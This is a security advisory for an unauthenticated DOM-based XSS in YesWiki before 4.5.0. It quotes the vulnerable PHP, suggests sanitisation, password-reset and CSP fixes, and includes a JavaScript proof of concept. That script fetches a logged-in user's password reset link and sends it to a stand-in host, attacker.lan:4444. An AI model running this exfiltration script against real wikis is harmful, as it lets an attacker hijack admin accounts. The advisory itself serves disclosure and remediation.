GHSA-wphc-5f2j-jhvg Unauthenticated DOM Based XSS in YesWiki

• Packagist yeswiki/yeswiki: < 4.5.0 → fixed in 4.5.0

Unauthenticated DOM Based XSS in YesWiki ' . "\n"; if ($nb_total > 1) { $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]); } elseif ($nb_total == 1) { $output .= _t('TAGS_ONE_PAGE_FOUND'); } else { $output .= _t('TAGS_NO_PAGE'); } $output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) { return '' . $tagName . ''; }, $tab_selected_tags)) : '') . '.'; $output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n"; $output .= '' . "\n" . $text; echo $this->Header(); echo "\n$output\n$outputselecttag\n\n\n"; echo $this->Footer(); ``` The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered. PoC 1. Simple XSS Abusing the `tags` parameter, we can successfully obtain client side javascript execution: 2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS: ```javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); }) ``` Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account. Impact This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance. Suggestion of possible corrective measures • Sanitize properly the tag names when created here ```php foreach ($tags as $tag) { trim($tag); if ($tag != '') { if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) { $this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', ''); } //on supprime ce tag du tableau des tags restants a effacer if (isset($tags_restants_a_effacer)) { unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]); } } } ``` • Sanitize the tag names when looked for here ```php //$tags = (isset($_GET['tags'])) ? $_GET['tags'] : ''; $tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : ''; ``` • Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token • Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) > The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.